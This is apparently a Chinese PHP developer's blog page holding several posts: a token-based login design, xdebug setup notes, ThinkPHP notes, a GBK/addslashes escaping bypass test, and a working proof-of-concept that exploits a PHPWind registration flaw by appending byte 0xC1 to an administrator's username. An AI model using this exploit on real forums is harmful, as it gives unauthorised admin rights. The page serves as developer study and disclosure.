现阶段的主要矛盾是落后的生产力不能满足日益增长的物质文化需求

注册 | 登陆
浏览模式: 标准 | 列表分类:PHP

Ph4nt0m Webzine 0x03

Ph4nt0m Webzine 0x03发布,看不懂这名字含义。不过文章是很好看

http://www.cncert.net/pstzine_0x03/pdf/PSTZine_0x03_0x06.pdf

以后不用mt_rand这种方法来取回密码。。试了一下,果然是这样

基于令牌的通行证

晚天搞到三点多,把ZF默认的目录结构做了一些修改,配置一些文件,放到SVN中

以前扯淡过一次通行证,不过当时知道的比较少,这次再扯一次,
通行证,我知道有两种,一种是cookie加密,一种是memcached做的令牌

1. cookie 小站用的比较多,问题是不支持分布,也不能解决多地登录,在不在线,还有不能放太大的数据量,毕竟每次请求都附上cookie。

2. 令牌可以解决cookie的一些问题,很多网站都在用,好处就是支持分布式,N个应用都可以自由判断用户登录没登,不好的地方的是保持不方便。
令牌一般有两组,一组只保存很少的信息:用户ID=>(登录时间,客户端IP),这个是用来快速判断。
另一组才是真正的令牌:md5(用户id+登录时间)=>其它信息,用户每次登录都会刷新这个令牌。

想过用memory表,效率太差,比较好的方法是把这两个结合起来:
在线的用户会放在memcached中,假设设置时间是60m, 过期就是不在线,可以解决在线问题。
用户本地有cookie, 如果解密成功且memcached中没有用户信息则设置,此时同一用户可以多地登录的。
如果应用程序要求比较严格,不允许多地登录,则可以用memcached中保存的客户端信息来确定当前唯一登录用户。
在线保持还会有一个效率问题,因为要刷新在线时间,保持状态,不过比较好解决,简单的就是设置长一点过期时间和随机刷新。

总体上来说:
cookie: (rc4或xxtea) 用户ID, 登录时间戳
memcache第一组:用户ID=>(登录时间,客户端IP(更严格一点可以包括浏览器信息))
memcache第二组:md5(用户id+登录时间)=>其它信息

这样做有一个很不好的地方,增加了其它应用判断是否登录的复杂度,以前只要检测memcached就可以了,现在还要检查一下cookie, 不过借助于js的还是比较容易解决。

另外,这样会有一些安全问题,比如用户改了密码以后,原来的cookie还能用,这个问题解决应该和全站安全一起考虑,用户在注册的时候随机生成的key,位数可以少一点,这个key是用来确认客户端cookie有效的,也可以用来防止跨站请求伪造,也可以md5的时候加上,形成双密码保护,功能多多。。

Tags: 通行证

addslashes的安全问题

PHP代码
  1. <?php  
  2. $a = "abc's";  
  3. //echo getHex(addslashes($a));  
  4.   
  5. $a = getStr('bf27'); 
  6. echo getHex(addslashes($a)); 
  7. echo ""; 
  8. echo getHex(strip27(addslashes($a))); 
  9.  
  10. function getHex($a) { 
  11.     $len = strlen($a); 
  12.     for ($i = 0; $i < $len; $i++) { 
  13.         $t .= dechex(ord($a[$i])); 
  14.     } 
  15.     return $t; 
  16. } 
  17.  
  18. function getStr($a) { 
  19.     $len = strlen($a); 
  20.     for ($i = 0; $i < $len; $i += 2) { 
  21.         $t .= chr(hexdec(substr($a, $i, 2))); 
  22.     } 
  23.     return $t; 
  24. } 
  25. //不一定正确的二次过滤 
  26. function strip27($str, $encoding = 'gbk') {  
  27.     $len = strlen($str);  
  28.     for ($i = 0; $i < $len$i++) {  
  29.         if (ord($str[$i]) > 127) {  
  30.             $i++;  
  31.         } else if ($str[$i] == chr(0x27)) {  
  32.             $str[$i] = chr(0x20);  
  33.         }  
  34.     }  
  35.     return $str;  
  36. }  


http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html
重装系统之后虚拟机起不了,直接在zs中测试,确实存在问题,
PHP处理字符还是以单字节为单位,所以PHP页面中如果不放中文,可以存成任何编码
addslashes在过滤的时候也是以字节进行过滤的,这就会破坏GBK的序列,逻辑上来说,
即使不注入,使用addslashes也会导致个别字符乱码。
如果数据库是gbk,插入数据库时,数据库0xbf5c当成一个字,这种情况不只在gbk其它多字节的数据库里也应该有问题

update:080901  晕,我一直有个误区,以为gbk的第二个字节是从0开始,BS,实际GBK的范围是在8140-FEFE,这样,0x27不在gbk的范围中,直接使用str_replace替换就OK,谢谢safe3前辈

update:081030 想BS一下自己,因为空間商关门了一直没机会,竟然一直相当然mysql_real_escape_string和addslashes是一样的。

xdebug果然是厉器

http://www.lostk.com/blog/install_xdebug/

以前嫌麻烦,今天装了一下,果然感觉很好用

如果装了不能用,可以看一下apache的日志。我装的时候发生这个错误

PHP Fatal error:  [Zend Optimizer] Zend Optimizer 3.3.0 is incompatible with Xdebug 2.0.3 in Unknown on line 0

把Zend Optimizer注释掉就可以了,可能是版本冲突

 大小: 153.33 K
尺寸: 500 x 293
浏览: 54 次
点击打开新窗口浏览全图

记下几篇文章的地址

http://devzone.zend.com/article/3546-Zend-Framework-Subversion-Reorganization

http://framework.zend.com/wiki/display/ZFDEV/PHP Coding Standard (draft)

基本上和我写的风格差不多,就是有一个不一样,就是大括号的换行,我喜欢在关键字后面跟大括号

我还是比较喜欢tp,不过大伙们都用zf,估计以后干活的时候也要用,未雨绸缪。

以前一直没留意设计模式,上次面试的时候提到了,前几天看了 lightsaber 同志的blog收获很多,又在PC上找了一本书,这本书讲的更详细和深入,06翻译的,看来我落后不是一点半点

 

update20080907:关于svn一些文件名字的意思:http://xingshaomin.javaeye.com/blog/121765

 

浪费快两个小时的小问题

PHP代码
  1. if (is_file(TEMP.'authorId.php')) {  
  2.     $author = include_once(TEMP.'authorId.php');  
  3.     //!is_array($author) && $this->put($author = $this->insertAuthor($link), TEMP.'authorId.php');  
  4. else {  
  5.     $this->put($author = $this->insertAuthor($link), TEMP.'authorId.php');  
  6. }  

我使用了include_once,于是这个函数只能被引用一次,文件不会被包含第二次,所以$author值是空,以前也遇到过,不过找这个错误真的很麻烦

PW最新漏洞

一直订阅鬼仔的blog,今天发现PW又出漏洞

http://huaidan.org/archives/2036.html

漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PW最大失误不是程序,而是没有把username设为唯一。

可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。

使用PHP构造的测试代码。

大小: 5.84 K
尺寸: 217 x 101
浏览: 30 次
点击打开新窗口浏览全图

 

PHP代码
  1. <?php   
  2. if (empty($_GET['sub'])) {   
  3.     print <<<EOT   
  4.         <form action="" method="get"><br />   
  5.         <input type="text" name="url" /><br />   
  6.         <input type="text" name="regname" /><br />   
  7.         <input type="submit" name="sub" value="提交" />   
  8.         </form>   
  9. EOT;   
  10. else {   
  11.     extract($_GET);   
  12.     $regname .= chr(193);   
  13.     $data = array(   
  14.         'regname' => $regname,   
  15.         'regpwd' => 147852,   
  16.         'regpwdrepeat' => 147852,   
  17.         'regemail' => 'llll@Ll.com',   
  18.         'regemailtoall' => 1,   
  19.         'step' => 2   
  20.     );   
  21.    
  22.     $url .= '/register.php';   
  23.     $includePath = ini_get('include_path');   
  24.     $includePath .=';D:\www\pear';   
  25.     ini_set('include_path'$includePath);   
  26.     include('HTTP/Client.php');   
  27.     $http = new HTTP_Client();   
  28.     var_dump($http->post($url$data));   
  29. }  

TP 1.4发布

1.4版:http://bbs.thinkphp.cn/viewthread.php?tid=762

1.4版的API:http://bbs.thinkphp.cn/viewthread.php?tid=765

tp核心的几个类
core.base:抽象类,设置了二个方法,可以防止出错
core.app:运行类,初始化和加载调度类,开启的各种插件
core.dispathcher:调度类,主要是url判断,调度执行还在app中
core.action:控制的父类,模板操作
core.model:模型的父类,封闭了curd操作

tp的插件机制和wp差不多,插件的信息存储在session中,我还是不怎么喜欢单一入口,想把调度写在控制里

 

Tags: tp

Records:912